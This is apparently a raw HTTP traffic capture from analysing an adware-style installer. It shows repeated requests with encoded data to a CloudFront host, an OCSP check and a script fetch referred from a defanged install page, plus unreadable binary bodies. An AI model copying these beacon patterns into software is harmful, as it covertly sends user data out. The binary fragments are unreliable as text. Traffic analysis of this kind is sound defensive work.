572e23f2bac","f1cdbe22db7f76e446cf35ee1aa4249e","d2c1d0ef9db9fb5fdcb2d
18421eb7a29","37b87b7423bd1a8d4b4d5ba1ef6d50f9","d0b680d5ab632b6cf4578
980231755fa","2b06e417eb37aeea8c3fe76f86fb2013","7e45a0b1b3a4a4795

<<< skipped >>>

GET /25361.ashx?e=hXeqmv1IpemletMtAI4Nzd0cltsObsHAVb/Dms9RU7pAXdQqxJ1va3sc7hbJtTJHwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw4u3oGHN86wPQVtpqSKGA7U/Xst3NHAatxLLCQXXwGXzCAftlZERRx7H1GFDNCxEsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _IdAuYq1Y32Hd-SyjfcHi6vol8MUQGA-BRqi8FWPJye7bOv3GcsGyg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:07 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 f96185b1d69d6f85635bc2b5554da6
39.cloudfront.net (CloudFront)..X-Amz-Cf-Id: _IdAuYq1Y32Hd-SyjfcHi6vol
8MUQGA-BRqi8FWPJye7bOv3GcsGyg==......

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMCn6YLYg8vr7 xHF95KOCt7DNmmGug8UNyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: me-AqgkRPbjVConly-eR7hou46rNUJwNsFtzT0GOn7eCnk0Ffindgw==

....

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMCzhm0AeRIUo44G r 3F6T7o ZAytpZ9B/ewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4gqhU/KMtaaY94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcslupN3h8/NygfdnbXZjxfNH4ciUijsd9LwmM40gOiU94Bx9gF7lWaWA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iAPO_BknRLumU-u5jYhutvwc0U2Kti-koLhhTgdFpixI2JAo0T89qg==

....

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMDLx4LqlY8hEo4G r 3F6T7Ej7pUpUaR2m63dcRg82sn2uhUFVg7kyER2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUAdX/Hc9IoG6 BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurVWeUj IXhfy HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: A1dksiOBIR0KLAdPS29v2ovCuAnfQYAzC5AkzIBiRyEm-2Nrhqj8DQ==

....

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMAopJZj7S3tqAQy9IgZy5lJKYX3Ti/i3YMd/8r9q7HQVL3DDad46UzvECo8Sk7TI6jYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdva5A4ZI/qVvwENnlqVy8N p9hhITel/a8ytwpiObEbgDu4Nh8c5r795BoH2Jp8LsKb HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CHe-apl-clXvtdikiJ2qXGpmufM0rBHeJGHKtoPMFhYOxeHZvxAp8w==

....

GET /25361.ashx?e=2v0SNuZrMFzXE3CBqGdJyZ/TkbZ2czqASSZ3Rj0qX6eMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1N5GFIJlTvuVx92dtdmPF80fhyJSKOx30vCYzjSA6JT3q75McRlGPFouIogWjdbx/ZHatAG0OlbnZVc2n8LByKlYnNfAHkSpDbVAezdf3aKUc xh4nuC6oveZAqHIGghM2z4gguKWlYXUHDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PF/yHbNpOWrVbMijgHn32HvVbvBev1qUeEUgvgXRfh x7O2lby2Hc2HQrSyNo58RbTtmCoGR19nnWJbiJYSnJKno10Lh2ihkwazWNDB99vlaZYtL4Q7eoXHMW2c661pRTyJOL4A53moYZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKFPmyIOMSGLqvp2al3wif32RIeMued5S3OqQB4kK2USfv7FEnx4ae8Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: srN3muw84WFPTCoz954RuaeaAUh5V-NlAbT7sYwgY6lOJmResZ3mHg==

....

GET /25361.ashx?e=1ZEnpGuz/IQqQvvNc0/QxMMAYLk9OhUcoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaS3e14SYwGceQNnlqVy8N p9hhITel/a8ytwpiObEbgDu4Nh8c5r795L3r/4r/Y8FXA38xLFtVk1NswOK6/sALrZlB/jCnzNnErXIxNf6X/p/yw2dOqRz0VTJIBlhaXll/jgb6v7cXpPsHbyM38hHidR9eQbFRa9Xq8SJA d bWCEsTev0Rqv4mYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: j-kytTrtglOUaoPGYzgWQ3mPkfqswTzy4GJvCGw6FrtZ4_-ABI9YTA==

....

GET /25361.ashx?e=M7A8vgjJHrgX0FFcLlqIhp/TkbZ2czqA/O/oTMwSjgCMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1N5GFIJlTvuVx92dtdmPF80fhyJSKOx30vCYzjSA6JT3q75McRlGPFouIogWjdbx/ZHatAG0OlbnZVc2n8LByKlYnNfAHkSpDYYrkTZsU4NhmK4anH5lVnwBPEhRyyBD7C6yNKYP izy0aR 1i1roGx4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eNJNzOLq-fcy254OmNu086TWB34X-v7wzMFzWc7ItCI-vE_2QUPufA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:09 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 f96185b1d69d6f85635bc2b5554da6
39.cloudfront.net (CloudFront)..X-Amz-Cf-Id: eNJNzOLq-fcy254OmNu086TWB
34X-v7wzMFzWc7ItCI-vE_2QUPufA==......

GET /25361.ashx?e=aL/yzOcQGPndHJbbDm7BwKo4fYkgkoL/QF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3pzANCq9oE/KbbCGHFbF/MkflftV3tdFWXTPTId5fWMXmJ3qs8BpiR1HmS0ZrngqaehpOqw6bJSI5/by02XtOY2EEhusghn3aYCpHZc9ZUaG veP12nLJPhQC drCF7eFroLc2ifXph0Jzl1zpkD5MtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29rkDhkj pW/AQ2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3kGgfYmnwuwps= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iLA5Hxq3jv2LMNcIhaz1D0hKBq7jk8NcJuv2Sod9t8cTyzB008iLMg==

....

GET /25361.ashx?e=N6dOqWm8Q96MfN93CMDrzyGvd gjBe89PoJkZj14EjR4E7mrr1h80jmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9d56ymZ4o9xQb6x14lCSqs761xNGUa9saMydwrVDP9I3ciXFAHp4HlN0tx3OIPhi9EwAaRG2pHiWQ4He/tpOrQX3WTcqgG6cW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 00VcTvD-4gk8ist1odC6Rv8V7j627ScIUHONMwan0w5w_fHd558etw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 f96185b1d69d6f85635bc2b5554da6
39.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 00VcTvD-4gk8ist1odC6Rv8V7
j627ScIUHONMwan0w5w_fHd558etw==......

GET /25361.ashx?e=rU8wGwYGlBTdHJbbDm7BwBlQnoO29mcqQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3pzANCq9oE/KbbCGHFbF/MkflftV3tdFWXTPTId5fWMXmJ3qs8BpiR1HmS0ZrngqaehpOqw6bJSI5/by02XtOY7OvKdESNyIQYCpHZc9ZUaG veP12nLJPhQC drCF7eFW4i9HDfAHxRsfMQgyAZ9y4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6VKedONxUl_83bePVwnmE6gtOtiylifgE_niTehJ_U1-3Wkmu1rehw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:11 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 f96185b1d69d6f85635bc2b5554da6
39.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 6VKedONxUl_83bePVwnmE6gtO
tiylifgE_niTehJ_U1-3Wkmu1rehw==......

GET /25361.ashx?e=FwW11b 20b74YOj/qSs/oP49U5NJcaex1VMaOJFqXYpm5LT87ehXavGh154/D7lxG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcJPiqQQOytxzFzZbgWqtvBeT1qzZZa53712EELBUZsE10js0 pge/oATxIUcsgQ wQ1V8jD1/9CmmiwBN87iCfPEiQPnfm1ghee7n4Z39v5CM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUu85El9n2 aiLUtvx5Djtr01 wijt4G8u35aCrbjjT16RgOiHkm zH HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zUIT5SjseC692rJPep8wvtGsBiXY6rCCD65SnnwCb4QuQAZ2yOdQ5g==

....

GET /25361.ashx?e=FwW11b 20b74YOj/qSs/oP49U5NJcaex1VMaOJFqXYpm5LT87ehXavGh154/D7lxG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcJPiqQQOytxzFzZbgWqtvBeT1qzZZa53712EELBUZsE1j/dHB7BZT3ABZGQjpShx/0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1s31cFb4mBaXypckfbXjeGx7pNhwMhC4MsEcis7Qgsy_xbt3pRO85w==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:12 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 f96185b1d69d6f85635bc2b5554da6
39.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 1s31cFb4mBaXypckfbXjeGx7p
NhwMhC4MsEcis7Qgsy_xbt3pRO85w==......

GET /25361.ashx?e=/9ZmISdorEtPNjxRBLtb46IVBOIBZJiF/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhwwC7YZDXfmlGw6kHnR XV4QBZGQjpShx/0JQd5HxgIXfzJOtUCXhvpF40BjlF1LoxV7dDySv7ML7ib 8lcO8XYbxKtVwphCE/yhsDDHNIJ6TYBMbHlkM59hB5aSy JFSF7iItZwtLj0y11gCewcGs9DXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tpulTxbMhOEG4Z5fayJoeAcZzn8AJdpKZODftrv0bE9i55sHSbuLPA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:16 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 f96185b1d69d6f85635bc2b5554da6
39.cloudfront.net (CloudFront)..X-Amz-Cf-Id: tpulTxbMhOEG4Z5fayJoeAcZz
n8AJdpKZODftrv0bE9i55sHSbuLPA==......

GET /25361.ashx?e=Ka qOJkckoVPNjxRBLtb40ze1S7ErIq2/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhwwsgTCGAfUzjVPtJ/net4ZozZSDInFTwcceLsPpRf2XKzqwH4Fs4bmrzzc75zM9QixuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9E1DgALBz/XubbCGHFbF/MkflftV3tdFWXTPTId5fWMVsoZvINmIbww== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:17 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4Gjff0f-_e4dKnh85WeBnmqj0ZYYqxiyzmtHA5Q2ZVYmmAgFyBeQlg==

....

GET /25361.ashx?e=QHucCbLl /ZGgpLO6W5H3iGvd gjBe89YWKC9pFBJ0F4E7mrr1h80jmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9d56ymZ4o9xQb6x14lCSqs761xNGUa9sapynfaNYH8L cp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mBbXFjE3bdc5Kc1J1HX62Ra9DpxTz4yuD2RW28HDT5zhMzV19sTJqQ==

GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:04:03 GMT

Last-Modified: Thu, 19 Feb 2015 15:18:48 GMT

Server: ECS (frf/8799)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015021
9064612Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20150204201215Z....20150519201715Z0...*.H...................s
...H...2.e..Sl3..9..^G.....z}t..d......j...-@\f. ^.......*.n.{V.pM...y
....g=...2.o..1X..~./..F...q.. /?7".e.[...=o...,.....`......;.X....3P.
Z....\E..AW.U....C.~q.R56....&Z..7.....%....A.....>...G.0....].-.&g
t;L..!}..9.GD...e.A.x"_...S.B'k..o.4.}....|......0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../[email protected]
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....
j.t%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..u
d.....CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&.
...q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?...
.E...........'>..O.._..<<< skipped >>>

GET /en_US/all.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: connect.facebook.net

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

ETag: "1a62c98e7436c5bda1d8bf7916578dc0"

Content-Type: application/x-javascript; charset=utf-8

Timing-Allow-Origin: *

Content-Encoding: gzip

Content-MD5: MLUSlNzaRqeLFthjNlZQAw==

X-FB-Debug: MyDu8LUCkd VlxSwChGOAwdbBg5CSAwICVTm Q0ApELGWFIKsDgQifYeMnLd9p/PW5xxcz7kj6HdJH6rzYdz3w==

Content-Length: 52551

Cache-Control: public, max-age=1200

Expires: Tue, 24 Feb 2015 02:23:01 GMT

Date: Tue, 24 Feb 2015 02:03:01 GMT

Connection: keep-alive

Vary: Accept-Encoding
............{..../...^..$.1.(J..4...%.....=.l(....H... %Q..k..[..h. %'
.s~.l.......U.U.G?.?9y......'.........d>[t.Q<..........x........
..:....U...M......>........I.JY..%...$....n8 ..a..4............tR..
F.>....nnn........HJ'G.||......R....g...&.t.....K.u.|........V..:..
.ptY.K....qg1.'s.T.)...._F..._...n.&.I8....xa.L.<......u0....^g....
&.T)..J&....Z......"4:=.R8....4.h..2.V...j......)pW.p..MJA.v..oP....jg
.^-.Y..Z.F.m*......:...7..(n.#.sT....r...N..Kp.._.....\x;.g...h....B..
]E..N..$.o&_f.4.....u.`;...AE...eP.R..,F...?.oJ....~6.ge.W.F.....D-.&.
....II...6.1.........v.i.E.q.t..lY...........h\R..1.k....1.T.Ur..;.r.9
.pW. ........h..`..t..dT..L..l..2.....>........DE.j.O....yZ...F.2Jx
<....:]$...>S....hY.....jY.R .&.'....z^..q....%-...|.]aM.......4
.n..O:[email protected] .ny......[.......,X.z.c.e.k^x....^.
.z......{.q0M..."{*.={*)f~.l.N.7?..C.h6.Q.GS&.....j.W.F.2p..A)..x.....
..D#.I.@.*SS..50Tj.=...py.R.u<$J.hD...19..=...C2....V..../...P.....
.p....<..:.-..!3.?..ag.8B.4P....!.~.c...<.....i..70..2 ...Bgr..N
..E....z..y...c.t..../s...X.....#.....Q...H...A#.!Dz...x.....}.y.{>
<.nCMG..=.kk.~P#......X..A..<.}.gj.4^$8UJ."q.tv..../P.p..>o..
T....'.....s..wL.^./.........H...4..L..Q2...O......3.;.rd...Qu.....KC.
